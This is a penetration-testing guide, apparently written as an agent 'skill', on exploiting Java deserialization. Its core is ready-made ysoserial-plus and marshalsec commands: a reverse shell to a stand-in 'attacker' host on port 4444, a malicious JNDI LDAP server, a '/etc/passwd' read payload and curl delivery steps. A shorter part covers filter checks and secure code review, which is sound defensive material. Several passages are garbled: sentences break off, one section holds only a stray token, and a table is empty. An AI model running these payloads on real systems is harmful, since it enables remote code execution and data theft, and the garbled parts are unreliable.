Java Deserialization Pentest Skill

A comprehensive guide for assessing and exploiting Java deserialization vulnerabilities during security testing.

Core Concepts

Why Deserialization is Dangerous

Java's

ObjectInputStream.readObject()

1. readObject()

   - Class-specific read logic executes during deserialization

2. readResolve()

   - Can replace deserialized objects with attacker-controlled ones

3. validateObject()

   - Callbacks via

   ObjectInputValidation

4. Constructors are NOT executed - Gadget chains rely exclusively on the above callbacks

Any method in this chain invoking attacker-controlled data (command execution, JNDI lookups, reflection) becomes an RCE gadget.

Classic Attack Pattern

Attacker → Serialized Payload → ObjectInputStream.readObject() → readObject() → Gadget Chain → RCE

The

readObject()

Attack Methodology

Step 1: Identify Deserialization Entry Points

Look for these patterns in Java applications:

• ObjectInputStream.readObject()

• RMI

  services accepting serialized objects

• HttpSession

  serialization
• Message queues (JMS, Kafka) with Java serialization
• File uploads accepting

  .ser

  ,

  .dat

  ,

  .obj

  files
• XML with Java object encoding
• Base64-encoded payloads with

  {#sb64}

  prefix (pac4j)

Step 2: Enumerate Available Gadget Chains

Use

ysoserial-plus

# List all available gadget chains
java -jar ysoserial-plus.jar

# Generate a payload for a specific chain
java -jar ysoserial-plus.jar CommonsCollections6 'calc.exe' | base64 -w0

# Common chains to try:
# - CommonsCollections1-7
# - C3P0
# - Spring1-4
# - Hibernate1-5
# - Tomcat1-2
# - SnakeYAML
# - Groovy1-2

Step 3: Deliver the Payload

HTTP POST with serialized data:

# Base64-encoded payload
curl -X POST http://target/api \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.ser

# Or with base64 in body
curl -X POST http://target/api \
  -H "Content-Type: application/json" \
  -d '{"data": "BASE64_PAYLOAD_HERE"}'

RMI exploitation:

# Use marshalsec for RMI
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

File upload:

# Upload .ser file directly
python3 scripts/upload_serialized.py http://target/upload payload.ser

Step 4: Verify Code Execution

• Check for callback to attacker-controlled server
• Look for file creation on target
• Monitor for process spawning (calc.exe, reverse shell)
• Use

  SerialSniffer

  to confirm deserialization occurred

Tooling

ysoserial-plus (Primary Exploitation)

# Install
wget https://github.com/ysoserial/ysoserial-plus/releases/latest/download/ysoserial-plus.jar

# Generate payload
java -jar ysoserial-plus.jar CommonsCollections6 'reverse_shell_command' > payload.ser

# Pipe to base64 for HTTP delivery
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0

marshalsec (JNDI Gadgets)

# Start LDAP server for JNDI injection
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

# Generate JNDI payload
java -cp marshalsec.jar marshalsec.jndi.LDAPPayload 'ldap://attacker:1389/ExploitClass' > payload.ser

gadget-probe (Discovery)

# Scan for vulnerable deserialization endpoints
gadget-probe --url http://target --threads 50

SerialSniffer (Detection)

# Attach to JVM to see what's being deserialized
java -javaagent:SerialSniffer.jar -jar target-app.jar

Detection with JDK 22+

# Enable serialization debug logging
-Djdk.serialDebug=true

Recent Vulnerabilities (2023-2025)

{#sb64}

Mitigation Testing

Check for Serialization Filtering

# Test if jdk.serialFilter is configured
echo "Test if filter rejects unknown classes"
# Send payload with uncommon gadget chain
# If rejected, filtering is likely enabled

Verify Filter Configuration

Look for these JVM arguments:

# Good: Allow-list approach
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

# Good: Resource limits
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"

# Bad: No filter or overly permissive
-Djdk.serialFilter="*"

Test Filter Bypasses

Some filters can be bypassed:

1. Inner classes -

   com.example.Outer$Inner

   may bypass

   com.example.Outer

2. Array types -

   [Lcom.example.Class;

   may bypass class filters
3. Proxy classes -

   $Proxy0

   may bypass filters
4. Module names -

   java.base/*

   is often too permissive

Secure Code Review Checklist

When reviewing Java code for deserialization:

• readObject()

  is

  private

  with

  @Serial

  annotation
• No user-supplied method calls in

  readObject()

• No I/O operations in

  readObject()

• Validation happens AFTER deserialization, not during

• ObjectInputFilter

  is registered even for internal services
• Prefer

  Externalizable

  over default serialization
• No raw

  ObjectInputStream

  exposed over network
• CI pipeline runs

  gadget-inspector

  or

  serialpwn-cli

Quick Reference

Common Gadget Chains by Library

Payload Generation Commands

# Reverse shell (CommonsCollections6)
java -jar ysoserial-plus.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1' > payload.ser

# File read (C3P0)
java -jar ysoserial-plus.jar C3P0 'cat /etc/passwd' > payload.ser

# JNDI lookup (marshalsec)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

References

• ysoserial-plus
• marshalsec
• gadget-probe
• SerialSniffer
• JEP 290 - Serialization Filtering
• JEP 415 - Context-Specific Filter Factories

Note: Always obtain proper authorization before testing deserialization vulnerabilities. Unauthorized exploitation of deserialization flaws is illegal and can cause severe damage to production systems.